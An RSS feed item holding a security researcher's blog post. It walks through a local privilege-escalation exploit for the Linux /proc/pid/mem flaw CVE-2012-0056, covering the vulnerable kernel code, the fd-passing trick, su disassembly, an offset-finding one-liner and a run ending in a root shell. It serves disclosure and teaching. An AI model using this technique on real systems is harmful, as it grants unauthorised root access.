<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Nerdling Sapple</title>
	<atom:link href="http://blog.zx2c4.com/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.zx2c4.com</link>
	<description>{{{ ZX2C4 }}}</description>
	<lastBuildDate>Tue, 24 Jan 2012 18:29:58 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>Linux Local Privilege Escalation via SUID /proc/pid/mem Write</title>
		<link>http://blog.zx2c4.com/749</link>
		<comments>http://blog.zx2c4.com/749#comments</comments>
		<pubDate>Sun, 22 Jan 2012 17:52:04 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[CVE-2012-0056]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[linus]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=749</guid>
		<description><![CDATA[Introducing Mempodipper, an exploit for CVE-2012-0056. /proc/pid/mem is an interface for reading and writing, directly, process memory by seeking around with the same addresses as the process&#8217;s virtual memory space. In 2.6.39, the protections against unauthorized access to /proc/pid/mem were deemed sufficient, and so the prior #ifdef that prevented write support for writing to arbitrary [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/749#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=749" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>Introducing <a href="http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c?referer=');">Mempodipper</a>, an exploit for CVE-2012-0056. <tt>/proc/<i>pid</i>/mem</tt> is an interface for reading and writing, directly, process memory by seeking around with the same addresses as the process&#8217;s virtual memory space. In 2.6.39, the protections against unauthorized access to <tt>/proc/<i>pid</i>/mem</tt> were deemed sufficient, and so the prior <tt>#ifdef</tt> that prevented write support for writing to arbitrary process memory <a href="http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=198214a7" onclick="pageTracker._trackPageview('/outgoing/git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git_a=commitdiff_h=198214a7&amp;referer=');">was removed</a>. Anyone with the correct permissions could write to process memory. It turns out, of course, that the permissions checking was done poorly. <i>This means that all Linux kernels >=2.6.39 are vulnerable</i>, up until the <a href="http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=e268337dfe26dfc7efd422a804dbb27977a3cccc" onclick="pageTracker._trackPageview('/outgoing/git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git_a=commitdiff_h=e268337dfe26dfc7efd422a804dbb27977a3cccc&amp;referer=');">fix commit for it</a> a couple days ago. Let&#8217;s take the old kernel code step by step and learn what&#8217;s the matter with it.</p>
<p>When <tt>/proc/<i>pid</i>/mem</tt> is opened, this kernel code is called:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">static</span> <span style="color: #993333;">int</span> mem_open<span style="color: #009900;">&#40;</span><span style="color: #993333;">struct</span> inode<span style="color: #339933;">*</span> inode<span style="color: #339933;">,</span> <span style="color: #993333;">struct</span> file<span style="color: #339933;">*</span> file<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	file<span style="color: #339933;">-&gt;</span>private_data <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">long</span><span style="color: #009900;">&#41;</span>current<span style="color: #339933;">-&gt;</span>self_exec_id<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #808080; font-style: italic;">/* OK to pass negative loff_t, we can catch out-of-range */</span>
	file<span style="color: #339933;">-&gt;</span>f_mode <span style="color: #339933;">|=</span> FMODE_UNSIGNED_OFFSET<span style="color: #339933;">;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>There are no restrictions on opening; anyone can open the <tt>/proc/<i>pid</i>/mem</tt> <a href="http://en.wikipedia.org/wiki/File_descriptor" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/File_descriptor?referer=');">fd</a> for any process (subject to the ordinary VFS restrictions). It simply makes note of the original process&#8217;s <tt>self_exec_id</tt> that it was opened with and stores this away for checking later during reads and writes.</p>
<p>Writes (and reads), however, have permissions checking restrictions. Let&#8217;s take a look at the write function:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">static</span> ssize_t mem_write<span style="color: #009900;">&#40;</span><span style="color: #993333;">struct</span> file <span style="color: #339933;">*</span> file<span style="color: #339933;">,</span> <span style="color: #993333;">const</span> <span style="color: #993333;">char</span> __user <span style="color: #339933;">*</span>buf<span style="color: #339933;">,</span>
			 size_t count<span style="color: #339933;">,</span> loff_t <span style="color: #339933;">*</span>ppos<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">/* unimportant code removed for blog post */</span>	
&nbsp;
	<span style="color: #993333;">struct</span> task_struct <span style="color: #339933;">*</span>task <span style="color: #339933;">=</span> get_proc_task<span style="color: #009900;">&#40;</span>file<span style="color: #339933;">-&gt;</span>f_path.<span style="color: #202020;">dentry</span><span style="color: #339933;">-&gt;</span>d_inode<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">/* unimportant code removed for blog post */</span>
&nbsp;
	mm <span style="color: #339933;">=</span> check_mem_permission<span style="color: #009900;">&#40;</span>task<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	copied <span style="color: #339933;">=</span> PTR_ERR<span style="color: #009900;">&#40;</span>mm<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>IS_ERR<span style="color: #009900;">&#40;</span>mm<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
		<span style="color: #b1b100;">goto</span> out_free<span style="color: #339933;">;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">/* unimportant code removed for blog post */</span>	
&nbsp;
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>file<span style="color: #339933;">-&gt;</span>private_data <span style="color: #339933;">!=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">long</span><span style="color: #009900;">&#41;</span>current<span style="color: #339933;">-&gt;</span>self_exec_id<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
		<span style="color: #b1b100;">goto</span> out_mm<span style="color: #339933;">;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">/* unimportant code removed for blog post
 * (the function here goes onto write the buffer into the memory)
 */</span></pre></div></div>

<p>So there are two relevant checks in place to prevent against unauthorized writes: <tt>check_mem_permission</tt> and <tt>self_exec_id</tt>. Let&#8217;s do the first one first and second one second.</p>
<p>The code of <tt>check_mem_permission</tt> simply calls into <tt>__check_mem_permission</tt>, so here&#8217;s the code of that:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">static</span> <span style="color: #993333;">struct</span> mm_struct <span style="color: #339933;">*</span>__check_mem_permission<span style="color: #009900;">&#40;</span><span style="color: #993333;">struct</span> task_struct <span style="color: #339933;">*</span>task<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #993333;">struct</span> mm_struct <span style="color: #339933;">*</span>mm<span style="color: #339933;">;</span>
&nbsp;
	mm <span style="color: #339933;">=</span> get_task_mm<span style="color: #009900;">&#40;</span>task<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>mm<span style="color: #009900;">&#41;</span>
		<span style="color: #b1b100;">return</span> ERR_PTR<span style="color: #009900;">&#40;</span><span style="color: #339933;">-</span>EINVAL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #808080; font-style: italic;">/*
	 * A task can always look at itself, in case it chooses
	 * to use system calls instead of load instructions.
	 */</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>task <span style="color: #339933;">==</span> current<span style="color: #009900;">&#41;</span>
		<span style="color: #b1b100;">return</span> mm<span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #808080; font-style: italic;">/*
	 * If current is actively ptrace'ing, and would also be
	 * permitted to freshly attach with ptrace now, permit it.
	 */</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>task_is_stopped_or_traced<span style="color: #009900;">&#40;</span>task<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #993333;">int</span> match<span style="color: #339933;">;</span>
		rcu_read_lock<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		match <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>ptrace_parent<span style="color: #009900;">&#40;</span>task<span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> current<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		rcu_read_unlock<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>match <span style="color: #339933;">&amp;&amp;</span> ptrace_may_access<span style="color: #009900;">&#40;</span>task<span style="color: #339933;">,</span> PTRACE_MODE_ATTACH<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
			<span style="color: #b1b100;">return</span> mm<span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #808080; font-style: italic;">/*
	 * No one else is allowed.
	 */</span>
	mmput<span style="color: #009900;">&#40;</span>mm<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">return</span> ERR_PTR<span style="color: #009900;">&#40;</span><span style="color: #339933;">-</span>EPERM<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>There are two ways that the memory write is authorized. Either <tt>task == current</tt>, meaning that the process being written to is the process writing, or <tt>current</tt> (the process writing) has esoteric ptrace-level permissions to play with <tt>task</tt> (the process being written to). Maybe you think you can trick the ptrace code? It&#8217;s tempting. But I don&#8217;t know. Let&#8217;s instead figure out how we can make a process write arbitrary memory to itself, so that <tt>task == current</tt>.</p>
<p>Now naturally, we want to write into the memory of <a href="http://en.wikipedia.org/wiki/Setuid" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/Setuid?referer=');">suid processes</a>, since then we can get root. Take a look at this:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">su</span> <span style="color: #ff0000;">&quot;yeeeee haw I am a cowboy&quot;</span>
Unknown <span style="color: #c20cb9; font-weight: bold;">id</span>: yeeeee haw I am a cowboy</pre></div></div>

<p><tt>su</tt> will spit out whatever text you want onto stderr, prefixed by &#8220;Unknown id:&#8221;. So, we can open a fd to <tt>/proc/self/mem</tt>, <tt>lseek</tt> to the right place in memory for writing (more on that later), use <a href="http://en.wikipedia.org/wiki/Redirection_(computing)" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/Redirection_computing?referer=');"><tt>dup2</tt></a> to couple together stderr and the mem fd, and then <a href="http://en.wikipedia.org/wiki/Exec_(operating_system)" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/Exec_operating_system?referer=');"><tt>exec</tt></a> to <tt>su $shellcode</tt> to write an shell spawner to the process memory, and then we have root. Really? Not so easy.</p>
<p>Here the other restriction comes into play. After it passes the <tt>task == current</tt> test, it then checks to see if the current <tt>self_exec_id</tt> matches the <tt>self_exec_id</tt> that the fd was opened with. What on earth is <tt>self_exec_id</tt>? It&#8217;s <a href="http://lxr.linux.no/linux+v3.2.1/+search?search=self_exec_id" onclick="pageTracker._trackPageview('/outgoing/lxr.linux.no/linux+v3.2.1/+search?search=self_exec_id&amp;referer=');">only referenced a few places</a> in the kernel. The most important one happens to be inside of <tt>exec</tt>:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">void</span> setup_new_exec<span style="color: #009900;">&#40;</span><span style="color: #993333;">struct</span> linux_binprm <span style="color: #339933;">*</span> bprm<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
<span style="color: #808080; font-style: italic;">/* massive amounts of code trimmed for the purpose of this blog post */</span>
&nbsp;
	<span style="color: #808080; font-style: italic;">/* An exec changes our domain. We are no longer part of the thread
	   group */</span>
&nbsp;
	current<span style="color: #339933;">-&gt;</span>self_exec_id<span style="color: #339933;">++;</span>
&nbsp;
	flush_signal_handlers<span style="color: #009900;">&#40;</span>current<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	flush_old_files<span style="color: #009900;">&#40;</span>current<span style="color: #339933;">-&gt;</span>files<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
EXPORT_SYMBOL<span style="color: #009900;">&#40;</span>setup_new_exec<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p><tt>self_exec_id</tt> is incremented each time a process <tt>exec</tt>s. So in this case, it functions so that you can&#8217;t open the fd in a non-suid process, <tt>dup2</tt>, and then <tt>exec</tt> to a suid process&#8230; which is exactly what we were trying to do above. Pretty clever way of deterring our attack, eh?</p>
<p>Here&#8217;s how to get around it. We fork a child, and inside of that child, we <tt>exec</tt> to <i>a new process</i>. The initial child fork has a <tt>self_exec_id</tt> equal to its parent. When we <tt>exec</tt> to a new process, <tt>self_exec_id</tt> increments by one. Meanwhile, the parent itself is busy <tt>exec</tt>ing to our shellcode writing <tt>su</tt> process, so its <tt>self_exec_id</tt> gets incremented to the same value. So what we do is &#8212; we make this child fork and <tt>exec</tt> to a new process, and inside of that new process, we <i>open up a fd to <tt>/proc/parent-pid/mem</tt> using the pid of the parent process, not our own process</i> (as was the case prior). We can open the fd like this because there is no permissions checking for a mere open. When it is opened, its <tt>self_exec_id</tt> has already incremented to the right value that the parent&#8217;s <tt>self_exec_id</tt> will be when we <tt>exec</tt> to <tt>su</tt>. So finally, we pass our opened fd from the child process back to the parent process (using some <a href="http://archives.neohapsis.com/archives/postfix/2000-09/1476.html" onclick="pageTracker._trackPageview('/outgoing/archives.neohapsis.com/archives/postfix/2000-09/1476.html?referer=');">very black unix domain sockets magic</a>), do our <tt>dup2</tt>ing, and <tt>exec</tt> into <tt>su</tt> with the shell code.</p>
<p>There is one remaining objection. Where do we write to? We have to <tt>lseek</tt> to the proper memory location before writing, and <a href="http://en.wikipedia.org/wiki/Address_space_layout_randomization" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/Address_space_layout_randomization?referer=');">ASLR</a> randomizes processes address spaces making it impossible to know where to write to. Should we spend time working on more cleverness to figure out how to read process memory, and then carry out a search? No. Check this out:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ readelf <span style="color: #660033;">-h</span> <span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span><span style="color: #c20cb9; font-weight: bold;">su</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> Type
  Type:                              EXEC <span style="color: #7a0874; font-weight: bold;">&#40;</span>Executable <span style="color: #c20cb9; font-weight: bold;">file</span><span style="color: #7a0874; font-weight: bold;">&#41;</span></pre></div></div>

<p>This means that <tt>su</tt> does not have a relocatable .text section (otherwise it would spit out &#8220;DYN&#8221; instead of &#8220;EXEC&#8221;). It turns out that <tt>su</tt> on the vast majority of distros is <i>not compiled with <a href="http://en.wikipedia.org/wiki/Position-independent_code" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/Position-independent_code?referer=');">PIE</a></i>, disabling ASLR for the .text section of the binary! So we&#8217;ve chosen <tt>su</tt> wisely. The offsets in memory will always be the same. So to find the right place to write to, let&#8217;s check out the assembly surrounding the printing of the &#8220;Unknown id: blabla&#8221; error message.</p>
<p>  It gets the error string here:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">  <span style="color: #0000ff;">403677</span><span style="color: #339933;">:</span>       ba <span style="color: #0000ff;">05</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">00</span>          <span style="color: #00007f; font-weight: bold;">mov</span>    $<span style="color: #0000ff;">0x5</span><span style="color: #339933;">,%</span><span style="color: #00007f;">edx</span>
  40367c<span style="color: #339933;">:</span>       be ff <span style="color: #0000ff;">64</span> <span style="color: #0000ff;">40</span> <span style="color: #0000ff;">00</span>          <span style="color: #00007f; font-weight: bold;">mov</span>    $<span style="color: #0000ff;">0x4064ff</span><span style="color: #339933;">,%</span><span style="color: #00007f;">esi</span>
  <span style="color: #0000ff;">403681</span><span style="color: #339933;">:</span>       <span style="color: #0000ff;">31</span> ff                   <span style="color: #00007f; font-weight: bold;">xor</span>    <span style="color: #339933;">%</span><span style="color: #00007f;">edi</span><span style="color: #339933;">,%</span><span style="color: #00007f;">edi</span>
  <span style="color: #0000ff;">403683</span><span style="color: #339933;">:</span>       e8 e0 ed ff ff          callq  <span style="color: #0000ff;">402468</span> <span style="color: #009900; font-weight: bold;">&#40;</span>dcgettext@plt<span style="color: #009900; font-weight: bold;">&#41;</span></pre></div></div>

<p>  And then writes it to stderr:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">  <span style="color: #0000ff;">403688</span><span style="color: #339933;">:</span>       <span style="color: #0000ff;">48</span> 8b 3d <span style="color: #0000ff;">59</span> <span style="color: #0000ff;">51</span> <span style="color: #0000ff;">20</span> <span style="color: #0000ff;">00</span>    <span style="color: #00007f; font-weight: bold;">mov</span>    <span style="color: #0000ff;">0x205159</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span>rip<span style="color: #009900; font-weight: bold;">&#41;</span><span style="color: #339933;">,%</span>rdi        # <span style="color: #0000ff;">6087e8</span> <span style="color: #009900; font-weight: bold;">&#40;</span>stderr<span style="color: #009900; font-weight: bold;">&#41;</span>
  <span style="color: #0000ff;">40368f</span><span style="color: #339933;">:</span>       <span style="color: #0000ff;">48</span> <span style="color: #0000ff;">89</span> c2                <span style="color: #00007f; font-weight: bold;">mov</span>    <span style="color: #339933;">%</span>rax<span style="color: #339933;">,%</span>rdx
  <span style="color: #0000ff;">403692</span><span style="color: #339933;">:</span>       b9 <span style="color: #0000ff;">20</span> <span style="color: #0000ff;">88</span> <span style="color: #0000ff;">60</span> <span style="color: #0000ff;">00</span>          <span style="color: #00007f; font-weight: bold;">mov</span>    $<span style="color: #0000ff;">0x608820</span><span style="color: #339933;">,%</span><span style="color: #00007f;">ecx</span>
  <span style="color: #0000ff;">403697</span><span style="color: #339933;">:</span>       be <span style="color: #0000ff;">01</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">00</span>          <span style="color: #00007f; font-weight: bold;">mov</span>    $<span style="color: #0000ff;">0x1</span><span style="color: #339933;">,%</span><span style="color: #00007f;">esi</span>
  40369c<span style="color: #339933;">:</span>       <span style="color: #0000ff;">31</span> c0                   <span style="color: #00007f; font-weight: bold;">xor</span>    <span style="color: #339933;">%</span><span style="color: #00007f;">eax</span><span style="color: #339933;">,%</span><span style="color: #00007f;">eax</span>
  40369e<span style="color: #339933;">:</span>       e8 <span style="color: #0000ff;">75</span> ea ff ff          callq  <span style="color: #0000ff;">402118</span> <span style="color: #009900; font-weight: bold;">&#40;</span>__fprintf_chk@plt<span style="color: #009900; font-weight: bold;">&#41;</span></pre></div></div>

<p>  Closes the log:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">  4036a3<span style="color: #339933;">:</span>       e8 f0 eb ff ff          callq  <span style="color: #0000ff;">402298</span> <span style="color: #009900; font-weight: bold;">&#40;</span>closelog@plt<span style="color: #009900; font-weight: bold;">&#41;</span></pre></div></div>

<p>  And then exits the program:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">  4036a8<span style="color: #339933;">:</span>       bf <span style="color: #0000ff;">01</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">00</span>          <span style="color: #00007f; font-weight: bold;">mov</span>    $<span style="color: #0000ff;">0x1</span><span style="color: #339933;">,%</span><span style="color: #00007f;">edi</span>
  4036ad<span style="color: #339933;">:</span>       e8 c6 ea ff ff          callq  <span style="color: #0000ff;">402178</span> <span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #000000; font-weight: bold;">exit</span>@plt<span style="color: #009900; font-weight: bold;">&#41;</span></pre></div></div>

<p>  We therefore want to use 0&#215;402178, which is the exit function it calls. We can, in an exploit, automate the finding of the <tt>exit@plt</tt> symbol with a simple bash one-liner:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ objdump <span style="color: #660033;">-d</span> <span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span><span style="color: #c20cb9; font-weight: bold;">su</span><span style="color: #000000; font-weight: bold;">|</span><span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #ff0000;">'&lt;exit@plt&gt;'</span><span style="color: #000000; font-weight: bold;">|</span><span style="color: #c20cb9; font-weight: bold;">head</span> <span style="color: #660033;">-n</span> <span style="color: #000000;">1</span><span style="color: #000000; font-weight: bold;">|</span><span style="color: #c20cb9; font-weight: bold;">cut</span> <span style="color: #660033;">-d</span> <span style="color: #ff0000;">' '</span> <span style="color: #660033;">-f</span> <span style="color: #000000;">1</span><span style="color: #000000; font-weight: bold;">|</span><span style="color: #c20cb9; font-weight: bold;">sed</span> <span style="color: #ff0000;">'s/^[0]*\([^0]*\)/0x\1/'</span>
0x402178</pre></div></div>

<p>So naturally, we want to write to 0&#215;402178 minus the number of letters in the string &#8220;Unknown id: &#8220;, so that our shellcode is placed at exactly the right place.</p>
<p>The shellcode should be simple and standard. It sets the uid and gid to 0 and <tt>exec</tt>s into a shell. If we want to be clever, we can reopen stderr by, prior to <tt>dup2</tt>ing the memory fd to stderr, we choose another fd to dup stderr to, and then in the shellcode, we <tt>dup2</tt> that other fd <i>back</i> to stderr.</p>
<p>In the end, the exploit works like a charm with total reliability:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">&nbsp;
CVE-<span style="color: #000000;">2012</span>-0056 $ <span style="color: #c20cb9; font-weight: bold;">ls</span>
build-and-run-exploit.sh  build-and-run-shellcode.sh  mempodipper.c  shellcode-<span style="color: #000000;">32</span>.s  shellcode-<span style="color: #000000;">64</span>.s
CVE-<span style="color: #000000;">2012</span>-0056 $ <span style="color: #c20cb9; font-weight: bold;">gcc</span> mempodipper.c <span style="color: #660033;">-o</span> mempodipper
CVE-<span style="color: #000000;">2012</span>-0056 $ .<span style="color: #000000; font-weight: bold;">/</span>mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan <span style="color: #000000;">21</span>, <span style="color: #000000;">2012</span>        =
===============================
&nbsp;
<span style="color: #7a0874; font-weight: bold;">&#91;</span>+<span style="color: #7a0874; font-weight: bold;">&#93;</span> Waiting <span style="color: #000000; font-weight: bold;">for</span> transferred fd <span style="color: #000000; font-weight: bold;">in</span> parent.
<span style="color: #7a0874; font-weight: bold;">&#91;</span>+<span style="color: #7a0874; font-weight: bold;">&#93;</span> Executing child from child fork.
<span style="color: #7a0874; font-weight: bold;">&#91;</span>+<span style="color: #7a0874; font-weight: bold;">&#93;</span> Opening parent mem <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">6454</span><span style="color: #000000; font-weight: bold;">/</span>mem <span style="color: #000000; font-weight: bold;">in</span> child.
<span style="color: #7a0874; font-weight: bold;">&#91;</span>+<span style="color: #7a0874; font-weight: bold;">&#93;</span> Sending fd <span style="color: #000000;">3</span> to parent.
<span style="color: #7a0874; font-weight: bold;">&#91;</span>+<span style="color: #7a0874; font-weight: bold;">&#93;</span> Received fd at <span style="color: #000000;">5</span>.
<span style="color: #7a0874; font-weight: bold;">&#91;</span>+<span style="color: #7a0874; font-weight: bold;">&#93;</span> Assigning fd <span style="color: #000000;">5</span> to stderr.
<span style="color: #7a0874; font-weight: bold;">&#91;</span>+<span style="color: #7a0874; font-weight: bold;">&#93;</span> Reading <span style="color: #c20cb9; font-weight: bold;">su</span> <span style="color: #000000; font-weight: bold;">for</span> <span style="color: #7a0874; font-weight: bold;">exit</span><span style="color: #000000; font-weight: bold;">@</span>plt.
<span style="color: #7a0874; font-weight: bold;">&#91;</span>+<span style="color: #7a0874; font-weight: bold;">&#93;</span> Resolved <span style="color: #7a0874; font-weight: bold;">exit</span><span style="color: #000000; font-weight: bold;">@</span>plt to 0x402178.
<span style="color: #7a0874; font-weight: bold;">&#91;</span>+<span style="color: #7a0874; font-weight: bold;">&#93;</span> Seeking to offset 0x40216c.
<span style="color: #7a0874; font-weight: bold;">&#91;</span>+<span style="color: #7a0874; font-weight: bold;">&#93;</span> Executing <span style="color: #c20cb9; font-weight: bold;">su</span> with shellcode.
sh-<span style="color: #000000;">4.2</span><span style="color: #666666; font-style: italic;"># whoami</span>
root
sh-<span style="color: #000000;">4.2</span><span style="color: #666666; font-style: italic;">#</span></pre></div></div>

<p>You can watch a <a href="http://youtu.be/yLu4q4gMCCA" onclick="pageTracker._trackPageview('/outgoing/youtu.be/yLu4q4gMCCA?referer=');">video</a> of it in action:<br />
<object width="640" height="480"><param name="movie" value="http://www.youtube-nocookie.com/v/yLu4q4gMCCA?version=3&amp;hl=en_US"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube-nocookie.com/v/yLu4q4gMCCA?version=3&amp;hl=en_US" type="application/x-shockwave-flash" width="640" height="480" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>As always, thanks to <a href="http://vulnfactory.org" onclick="pageTracker._trackPageview('/outgoing/vulnfactory.org?referer=');">Dan Rosenberg</a> for his continued advice and support. <s>I&#8217;m currently not releasing any source code</s>, as Linus only <a href="http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=e268337dfe26dfc7efd422a804dbb27977a3cccc" onclick="pageTracker._trackPageview('/outgoing/git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git_a=commitdiff_h=e268337dfe26dfc7efd422a804dbb27977a3cccc&amp;referer=');">very recently</a> patched it. <s>After a responsible amount of time passes or if someone else does first, I&#8217;ll publish. If you&#8217;re a student trying to learn about things or have otherwise legitimate reasons, we can talk.</s></p>
<p><b>Update</b>: evidently, based on this blog post, ironically, some other folks made exploits and published them. So, <a href="http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c?referer=');">here&#8217;s mine</a>. I wrote the shellcode for <a href="http://git.zx2c4.com/CVE-2012-0056/tree/shellcode-32.s" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/CVE-2012-0056/tree/shellcode-32.s?referer=');">32-bit</a> and <a href="http://git.zx2c4.com/CVE-2012-0056/tree/shellcode-64.s" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/CVE-2012-0056/tree/shellcode-64.s?referer=');">64-bit</a> by hand. Enjoy!</p>
<p><b>Update 2</b>: as it turns out, Fedora very aptly compiles their <tt>su</tt> with <tt>PIE</tt>, which defeats this attack. They do not, unfortunately, compile all their SUID binaries with <tt>PIE</tt>, and so this attack is still possible with, for example, <tt>gpasswd</tt>. The <a href="http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c?h=fedora" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c?h=fedora&amp;referer=');">code to do this</a> is in the &#8220;fedora&#8221; branch of the git repository, and a <a href="http://www.youtube.com/watch?v=OKnth3R9nI4" onclick="pageTracker._trackPageview('/outgoing/www.youtube.com/watch?v=OKnth3R9nI4&amp;referer=');">video demonstration is also available</a>.</p>
